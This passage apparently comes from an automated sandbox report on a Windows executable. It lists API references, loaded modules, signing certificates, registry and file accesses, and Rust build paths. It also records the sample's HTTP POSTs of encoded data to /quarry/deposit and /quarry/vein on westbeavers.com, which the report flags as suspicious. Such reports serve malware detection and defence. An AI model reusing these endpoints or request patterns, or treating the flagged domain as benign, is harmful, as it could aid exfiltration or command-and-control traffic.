"ioctlsocket"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WSAGetLastError"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WSASend"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "closesocket"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WSAStartup"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "WSAIoctl"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "getsockname"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "getpeername"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3") Found reference to API (Indicator: "getsockopt"; File: "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3")30:T4df,"Software\Microsoft\Windows\CurrentVersion\Internet SettingsProxyEnableProxyServerProxyOverride*.invalid URL, scheme is not httpinvalid URL, host is missinginvalid URL, scheme is missingtcp open errortcp set_nonblocking errortcp bind local error" in Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3 "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E60687F7-01A1-40AA" in Source: 00000000-00005912.00000000.201121.FE960000.00000004.mdmp 00000000-00005912.00000001.203043.FE9AF000.00000004.mdmp 00000000-00005912.00000002.204961.FE9AF000.00000004.mdmp 00000000-00005912.00000003.212383.FE9AC000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9FC8E510-A27C-4B3B-B9A3-BF" in Source: 00000000-00005912.00000000.201121.FE960000.00000004.mdmp 00000000-00005912.00000001.203043.FE9E5000.00000004.mdmp 00000000-00005912.00000002.204961.FE9E5000.00000004.mdmp 00000000-00005912.00000003.212383.FE9E5000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00005912.00000003.212383.FE9AC000.00000004.mdmp31:T755,"th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E60687F7-01A1-40AA" in Source: 00000000-00005912.00000000.201121.FE960000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9FC8E510-A27C-4B3B-B9A3-BF" in Source: 00000000-00005912.00000000.201121.FE960000.00000004.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E60687F7-01A1-40AA" in Source: 00000000-00005912.00000001.203043.FE9AF000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9FC8E510-A27C-4B3B-B9A3-BF" in Source: 00000000-00005912.00000001.203043.FE9E5000.00000004.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E60687F7-01A1-40AA" in Source: 00000000-00005912.00000002.204961.FE9AF000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9FC8E510-A27C-4B3B-B9A3-BF" in Source: 00000000-00005912.00000002.204961.FE9E5000.00000004.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E60687F7-01A1-40AA" in Source: 00000000-00005912.00000003.212383.FE9AC000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00005912.00000003.212383.FE9AC000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9FC8E510-A27C-4B3B-B9A3-BF" in Source: 00000000-00005912.00000003.212383.FE9E5000.00000004.mdmp32:Tc8c,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fff0bbe0000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "USER32.DLL" at base 7fff1ea40000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fff19730000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "KERNEL32.DLL" at base 7fff1de80000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7fff1c1f0000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7fff1a980000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7fff13af0000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "RPCRT4.DLL" at base 7fff1e420000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7fff14030000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "SSPICLI.DLL" at base 7fff1aff0000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7fff1a4d0000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "NTDLL.DLL" at base 7fff1eda0000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "GDI32.DLL" at base 7fff1e540000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\DATAEXCHANGE.DLL" at base 7fff04970000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 7fff044d0000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7fff1ebf0000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7fff1c650000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "MSKEYPROTECT.DLL" at base 7fff195c0000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7fff19610000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fff1a590000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 7fff06b20000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7fff1bf20000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "WS2_32.DLL" at base 7fff1dd50000 "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7fff1b16000033:T5e5,The input sample is signed with a certificate issued by "CN=YE2, O=Let's Encrypt, C=US" (SHA1: 90:51:A4:6C:4C:D4:D0:45:98:3A:9F:61:13:A5:2F:56:C9:41:63:67; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: F8:15:8C:A8:A3:A7:C5:DB:D7:84:22:18:F5:D9:49:CE:C8:3A:CD:BA; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information) The input sample is signed with a certificate issued by "CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: 32:9B:78:A5:C9:EB:C2:04:32:42:DE:90:CE:1B:7C:6B:1B:A6:C6:92; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Code Signing Root R46, O=Sectigo Limited, C=GB" (SHA1: 01:85:FF:99:61:FF:0A:A2:E4:31:81:79:48:C2:8E:83:D3:F3:EC:70; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB" (SHA1: 61:DB:DA:D3:6F:65:0A:8F:47:C5:06:85:78:F7:EC:9E:D3:A2:22:FB; see report for more information)34:T804,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\0000000E"; Key: ""; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\00000014"; Key: ""; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\HVSI"; Key: ""; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS"; Key: ""; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE"; Key: ""; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: ""; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS\SASLPROFILES"; Key: ""; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\PROVIDERS\MICROSOFT SSL PROTOCOL PROVIDER"; Key: ""; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\PROVIDERS"; Key: ""; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "")35:T1068,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5"; Key: "SERIAL_ACCESS_NUM"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS"; Key: "SECURITYPROVIDERS"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "NAME"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "COMMENT"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "CAPABILITIES"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "RPCID"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "VERSION"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "TYPE"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: "TOKENSIZE"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\PROVIDERS\MICROSOFT SSL PROTOCOL PROVIDER"; Key: "ENABLETLSEXTERNALALGORITHMS"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS\SCHANNEL"; Key: "USERCONTEXTLOCKCOUNT"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS\SCHANNEL"; Key: "USERCONTEXTLISTCOUNT"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLEMANDATORYBASICCONSTRAINTS"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLECANAMECONSTRAINTS"; Value: "") "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLEUNSUPPORTEDCRITICALEXTENSIONS"; Value: "")36:T62b,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\SECUR32.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\Windows\System32\secur32.dll" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\DWRITE.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\Windows\System32\DWrite.dll" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\DWMAPI.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\Windows\System32\dwmapi.dll" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\UXTHEME.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\Windows\System32\uxtheme.dll" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\7F1DB334FD3302CF98DD4AFDDF6F90E98E2A496FE7E86BF1832B89D02F3D73C3.EXE.LOCAL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\BCRYPT.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\Windows\System32\bcrypt.dll" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\PDH.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to touch file "C:\Windows\System32\pdh.dll"37:T96d,"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\SECUR32.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\DWRITE.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\DWMAPI.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\UXTHEME.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\BCRYPT.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\PDH.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\SSPICLI.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\CRYPTBASE.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\FLTLIB.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\MSVCP140.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\VCRUNTIME140_1.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\TEXTINPUTFRAMEWORK.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\TextInputFramework.dll" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\COREUICOMPONENTS.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\CoreUIComponents.dll" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\COREMESSAGING.DLL" "7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe" trying to access non-existent file "C:\CoreMessaging.dll"38:T7fc,"POST /quarry/deposit HTTP/1.1content-type: text/plaincontent-length: 296accept: */*host: westbeavers.comTIXiEheAnra65nUpKYwKT8zl6Hh1PQWjKymcoZn46/xY/T4dLfz7wjbbU1k9WEGxCKqqyqw3Sd8MoS7Lt8GBy05FEA63RBy/6GM9xKygtHDsCE+F9oLSS2q24fYDxBqi08dRpVF+tfh1664CJb8FRSr8D/hS2gwiGFtBvq5v9nc+CUWKMsvmQEIbcX8U/0UB6UleDDHHGNKc/Y9ht1FVyg5UBicK08nI32YgduaPNTSpNtoGbZLP9RfTAhpaSr004oAOrL0EMjU0iLI+Fmpbwz8Qc3kekbypqVn5sSlW" "POST /quarry/vein HTTP/1.1content-type: text/plaincontent-length: 348accept: */*host: westbeavers.comTAbnfuffu3xtcg1Qn4MFs01K7J4T/HidMW3aLuPSsj0FpCVYqQUcaUzabNNDt9ZgHVuWm5j2lorIuuSb3N7rHj++FhnkQ62rK9BU0KXZbWrh/jcNG9Ejfc6xejCgBR3iIOzz5KCe4XK0oVK2XvvtxZRoENKeR8xw+GaEtAxwasSMMNVBeSjdCZ3vj8bLb178uOPzmdeS6EpaG1yxJmckm0lym/C6TveUQT27sPdhzDZ/azY9JC4sm9x3S8K3+NgSOH2/Cryue96LFvcK40J/gUXHewQeG5SOxbyLN1Jrja0iY/YgVBHCc8yYFikMNWo5fhRaxN0qPd3TsbGE3WdHFGCsaiY3" "HTTP/1.1 200 OKDate: Thu, 13 Aug 2026 20:20:25 GMTContent-Type: text/plain; charset=utf-8Content-Length: 100Connection: keep-alivevary: Origincf-cache-status: DYNAMICNel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=JrkBIXmw1QbUOVx%2BaDWGKnXU2M5n4Y5Wx%2ByTcZ2HJEDHGDDHeOPbTezGHNoGvO0124YAKqQACOJrMLO4qHpgGt65U7%2BOMRyxsrwghm7hoVPmaCvKfbfmDghIBuyad9yOGNA%3D"}]}Server: cloudflareCF-RAY: a2aa6b99b9a949ec-SJCalt-svc: h3=":443"; ma=86400" "TMvTbJuKRpVKuNxHvRcYk7XLqxgtnaKvROvu9UBDrClQKQ+81BZIECCWAoUEbCZKW+nnba9wPZ9Bhyl1muqqFVtaFzMq7BWl1Nc=" "HTTP/1.1 200 OKDate: Thu, 13 Aug 2026 20:20:25 GMTContent-Length: 0Connection: keep-alivevary: Origincf-cache-status: DYNAMICReport-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=UAUHk9750WlEhTxazY%2BvUO6mgC57Vl66TwVU9zpIVM6M1xfsVZBtXtC54gbSUNdgnHPPBLS6aj3h1nedFxN5xS%2BBr4Dz90m%2BQlatq4ORQT0n80E33s0QRvNpc0z6gW7G7Kc%3D"}]}Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}Server: cloudflareCF-RAY: a2aa6b9b68aa8bdb-SJCalt-svc: h3=":443"; ma=86400"39:T176ca,Heuristic match: "westbeavers.com" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=jrkbixmw1qbuovx%2badwgknxu2m5n4y5wx%2bytcz2hjedhgddheopbtezghnogvo0124yakqqacojrmlo4qhpggt65u7%2bomryxsrwghm7hovpmacvkfbfmdghibuyad9yogna%3d}]}server" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=uauhk9750wlehtxazy%2bvuo6mgc57vl66twvu9zpivm6m1xfsvzbtxtc54gbsundgnhppbls6aj3h1nedfxn5xs%2bbr4dz90m%2bqlatq4orqt0n80e33s0qrvnpc0z6gw7g7kc%3d}]}nel" Heuristic match: "c:\r\src\g\h.rs" Heuristic match: "c:\r\src\g\register.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\alloc\src\rc.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\alloc\src\fmt.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\anyhow-1.0.102\src\error.rs" Heuristic match: "caused by:c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\anyhow-1.0.102\src\fmt.rs" Heuristic match: "arrayvec: capacity exceeded in extend/from_iterc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\atomic-waker-1.1.2\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\decode_suffix.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\decode.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\lib.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\fmt\num.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\unicode\unicode_data.rs" Heuristic match: "!$'+.158;/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\num\imp\dec2flt\parse.rs" Heuristic match: 